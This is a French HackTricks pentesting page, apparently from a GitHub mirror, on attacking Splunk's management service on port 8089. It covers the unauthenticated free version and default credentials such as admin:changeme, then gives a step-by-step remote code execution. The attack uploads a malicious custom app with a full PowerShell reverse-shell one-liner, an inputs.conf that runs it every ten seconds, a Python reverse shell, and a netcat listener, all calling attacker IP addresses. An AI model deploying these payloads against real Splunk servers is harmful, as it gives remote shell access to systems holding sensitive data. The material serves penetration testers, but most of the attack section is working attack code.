mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
138 lines
9.4 KiB
Markdown
138 lines
9.4 KiB
Markdown
# 8089 - Test d'intrusion Splunkd
|
|
|
|
<details>
|
|
|
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Autres façons de soutenir HackTricks :
|
|
|
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
## **Informations de base**
|
|
|
|
Splunk est un **outil d'analyse de journaux** qui joue un rôle crucial dans la **collecte, l'analyse et la visualisation des données**. Bien que son objectif initial n'ait pas été de servir d'outil **SIEM (Gestion des informations et des événements de sécurité)**, il est devenu populaire dans le domaine de la **surveillance de la sécurité** et de l'**analyse commerciale**.
|
|
|
|
Les déploiements Splunk sont fréquemment utilisés pour stocker des **données sensibles** et peuvent servir de **source précieuse d'informations** pour les attaquants potentiels s'ils parviennent à compromettre le système. **Port par défaut :** 8089
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
8089/tcp open http Splunkd httpd
|
|
```
|
|
{% hint style="info" %}
|
|
Le **serveur web Splunk fonctionne par défaut sur le port 8000**.
|
|
{% endhint %}
|
|
|
|
## Énumération
|
|
|
|
### Version gratuite
|
|
|
|
L'essai de Splunk Enterprise se convertit en **version gratuite après 60 jours**, qui **ne nécessite pas d'authentification**. Il n'est pas rare que les administrateurs système installent un essai de Splunk pour le tester, qui est **ensuite oublié**. Cela se convertira automatiquement en la version gratuite qui n'a aucune forme d'authentification, introduisant ainsi une faille de sécurité dans l'environnement. Certaines organisations peuvent opter pour la version gratuite en raison de contraintes budgétaires, sans comprendre pleinement les implications de l'absence de gestion des utilisateurs/rôles.
|
|
|
|
### Identifiants par défaut
|
|
|
|
Sur les anciennes versions de Splunk, les identifiants par défaut sont **`admin:changeme`**, qui sont affichés de manière pratique sur la page de connexion.\
|
|
Cependant, **la dernière version de Splunk** définit les **identifiants** **pendant le processus d'installation**. Si les identifiants par défaut ne fonctionnent pas, il vaut la peine de vérifier les mots de passe faibles courants tels que `admin`, `Welcome`, `Welcome1`, `Password123`, etc.
|
|
|
|
### Obtenir des informations
|
|
|
|
Une fois connecté à Splunk, nous pouvons **parcourir les données**, exécuter des **rapports**, créer des **tableaux de bord**, **installer des applications** à partir de la bibliothèque Splunkbase, et installer des applications personnalisées.\
|
|
Vous pouvez également exécuter du code : Splunk a plusieurs façons de **exécuter du code**, comme des applications Django côté serveur, des points de terminaison REST, des entrées scriptées et des scripts d'alerte. Une méthode courante pour obtenir une exécution de code à distance sur un serveur Splunk est l'utilisation d'une entrée scriptée.
|
|
|
|
De plus, comme Splunk peut être installé sur des hôtes Windows ou Linux, des entrées scriptées peuvent être créées pour exécuter des scripts Bash, PowerShell ou Batch.
|
|
|
|
### Shodan
|
|
|
|
* `Construction Splunk`
|
|
|
|
## RCE
|
|
|
|
### Créer une application personnalisée
|
|
|
|
Une application personnalisée peut exécuter des **scripts Python, Batch, Bash ou PowerShell**.\
|
|
Notez que **Splunk est livré avec Python installé**, donc même sur les systèmes **Windows**, vous pourrez exécuter du code python.
|
|
|
|
Vous pouvez utiliser [**ceci**](https://github.com/0xjpuff/reverse\_shell\_splunk) package Splunk pour nous aider. Le répertoire **`bin`** de ce dépôt contient des exemples pour [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) et [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Suivons cela étape par étape.
|
|
|
|
Pour ce faire, nous devons d'abord créer une application Splunk personnalisée en utilisant la structure de répertoire suivante:
|
|
```shell-session
|
|
tree splunk_shell/
|
|
|
|
splunk_shell/
|
|
├── bin
|
|
└── default
|
|
```
|
|
Le répertoire **`bin`** contiendra tous les **scripts que nous avons l'intention d'exécuter** (dans ce cas, un shell inversé **PowerShell**), et le répertoire par défaut contiendra notre fichier `inputs.conf`. Notre shell inversé sera un **PowerShell en une ligne :**
|
|
```powershell
|
|
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
|
|
```
|
|
Le fichier [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) indique à Splunk **quel script exécuter** et toutes autres conditions. Ici, nous définissons l'application comme activée et indiquons à Splunk d'exécuter le script toutes les 10 secondes. L'intervalle est toujours en secondes, et l'entrée (script) ne s'exécutera que si ce paramètre est présent.
|
|
```shell-session
|
|
cat inputs.conf
|
|
|
|
[script://./bin/rev.py]
|
|
disabled = 0
|
|
interval = 10
|
|
sourcetype = shell
|
|
|
|
[script://.\bin\run.bat]
|
|
disabled = 0
|
|
sourcetype = shell
|
|
interval = 10
|
|
```
|
|
Nous avons besoin du fichier `.bat`, qui s'exécutera lorsque l'application sera déployée et exécutera la commande PowerShell en une ligne.
|
|
|
|
La prochaine étape consiste à choisir `Installer l'application à partir du fichier` et à télécharger l'application.
|
|
|
|
<figure><img src="../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Avant de télécharger l'application personnalisée malveillante, commençons par démarrer un écouteur en utilisant Netcat ou [socat](https://linux.die.net/man/1/socat).
|
|
```shell-session
|
|
sudo nc -lnvp 443
|
|
|
|
listening on [any] 443 ...
|
|
```
|
|
Sur la page `Télécharger l'application`, cliquez sur parcourir, choisissez le fichier tar que nous avons créé précédemment et cliquez sur `Télécharger`. Dès que nous téléchargeons l'application, un shell inversé est reçu et le statut de l'application passe automatiquement à `Activé`.
|
|
|
|
#### Linux
|
|
|
|
Si nous étions en train de travailler avec un hôte Linux, nous aurions besoin de modifier le script Python `rev.py` avant de créer le fichier tar et de télécharger l'application malveillante personnalisée. Le reste du processus serait le même, et nous obtiendrions une connexion de shell inversé sur notre écouteur Netcat pour commencer.
|
|
```python
|
|
import sys,socket,os,pty
|
|
|
|
ip="10.10.14.15"
|
|
port="443"
|
|
s=socket.socket()
|
|
s.connect((ip,int(port)))
|
|
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
|
pty.spawn('/bin/bash')
|
|
```
|
|
### RCE & Élévation de privilèges
|
|
|
|
Sur la page suivante, vous pouvez trouver une explication sur la manière dont ce service peut être utilisé de manière abusive pour escalader les privilèges et obtenir de la persistance :
|
|
|
|
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
|
|
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
|
{% endcontent-ref %}
|
|
|
|
## Références
|
|
|
|
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Autres façons de soutenir HackTricks :
|
|
|
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
|
|
|
</details>
|